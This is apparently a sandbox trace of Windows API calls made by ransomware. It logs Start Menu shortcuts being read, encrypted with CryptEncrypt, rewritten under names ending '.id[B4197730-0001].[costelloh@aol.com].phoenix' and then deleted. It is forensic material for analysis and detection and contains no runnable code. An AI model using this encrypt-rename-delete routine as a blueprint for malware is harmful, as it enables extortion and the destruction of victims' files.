	[0267.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.333] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.333] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.336] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151200) returned 1
	[0267.336] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.336] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x842, lpOverlapped=0x0) returned 1
	[0267.364] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x850, dwBufLen=0x850 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x850) returned 1
	[0267.364] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x850, lpOverlapped=0x0) returned 1
	[0267.364] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0267.365] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.365] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0267.365] CryptDestroyKey (hKey=0x151340) returned 1
	[0267.365] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0267.365] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.365] CloseHandle (hObject=0x2c0) returned 1
	[0267.365] CloseHandle (hObject=0x240) returned 1
	[0267.367] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Check For Updates.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\check for updates.lnk")) returned 1
	[0267.368] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.368] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.387] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=180) returned 1
	[0267.388] CloseHandle (hObject=0x2e8) returned 1
	[0267.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url")) returned 0x20
	[0267.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.388] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.388] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.388] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.388] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.393] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0267.393] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.393] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0xb4, lpOverlapped=0x0) returned 1
	[0267.393] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0267.394] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xc0, lpOverlapped=0x0) returned 1
	[0267.394] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0267.394] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.394] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0267.394] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0267.394] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0267.395] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0267.395] CloseHandle (hObject=0x2e8) returned 1
	[0267.395] CloseHandle (hObject=0x2e4) returned 1
	[0267.395] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\Get Help.url" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\java\\get help.url")) returned 1
	[0267.398] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.398] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.450] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2563) returned 1
	[0267.450] CloseHandle (hObject=0x254) returned 1
	[0267.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk")) returned 0x20
	[0267.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.450] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0267.450] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.450] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.450] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.452] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0267.452] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.452] ReadFile (in: hFile=0x254, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0xa03, lpOverlapped=0x0) returned 1
	[0267.516] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa10, dwBufLen=0xa10 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa10) returned 1
	[0267.516] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xa10, lpOverlapped=0x0) returned 1
	[0267.517] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0267.517] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.517] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0267.517] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0267.517] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0267.517] CryptDestroyKey (hKey=0x151140) returned 1
	[0267.517] CloseHandle (hObject=0x254) returned 1
	[0267.518] CloseHandle (hObject=0x240) returned 1
	[0267.518] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Database Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\database compare 2016.lnk")) returned 1
	[0267.518] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.518] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.530] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2581) returned 1
	[0267.530] CloseHandle (hObject=0x2c0) returned 1
	[0267.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk")) returned 0x20
	[0267.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.530] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0267.530] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.530] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.530] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.541] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0267.541] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.541] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0xa15, lpOverlapped=0x0) returned 1
	[0267.633] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa20, dwBufLen=0xa20 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa20) returned 1
	[0267.633] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xa20, lpOverlapped=0x0) returned 1
	[0267.633] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0267.634] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.634] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0267.634] CryptDestroyKey (hKey=0x151500) returned 1
	[0267.634] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0267.634] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.634] CloseHandle (hObject=0x2c0) returned 1
	[0267.634] CloseHandle (hObject=0x2b0) returned 1
	[0267.634] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Office 2016 Upload Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\office 2016 upload center.lnk")) returned 1
	[0267.643] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.643] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.654] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2575) returned 1
	[0267.654] CloseHandle (hObject=0x308) returned 1
	[0267.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk")) returned 0x20
	[0267.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.657] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.657] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.657] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.660] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0267.660] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.660] ReadFile (in: hFile=0x2b0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0xa0f, lpOverlapped=0x0) returned 1
	[0267.698] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa10, dwBufLen=0xa10 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa10) returned 1
	[0267.698] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xa10, lpOverlapped=0x0) returned 1
	[0267.699] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0267.699] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0267.699] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0267.699] CryptDestroyKey (hKey=0x151180) returned 1
	[0267.699] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x112, lpOverlapped=0x0) returned 1
	[0267.699] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0267.699] CloseHandle (hObject=0x2b0) returned 1
	[0267.699] CloseHandle (hObject=0x2e8) returned 1
	[0267.699] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Spreadsheet Compare 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\spreadsheet compare 2016.lnk")) returned 1
	[0267.700] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0267.700] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.701] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2516) returned 1
	[0267.701] CloseHandle (hObject=0x2e8) returned 1
	[0267.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk")) returned 0x20
	[0267.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.701] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office 2016 Tools\\Telemetry Dashboard for Office 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office 2016 tools\\telemetry dashboard for office 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.701] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0267.701] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
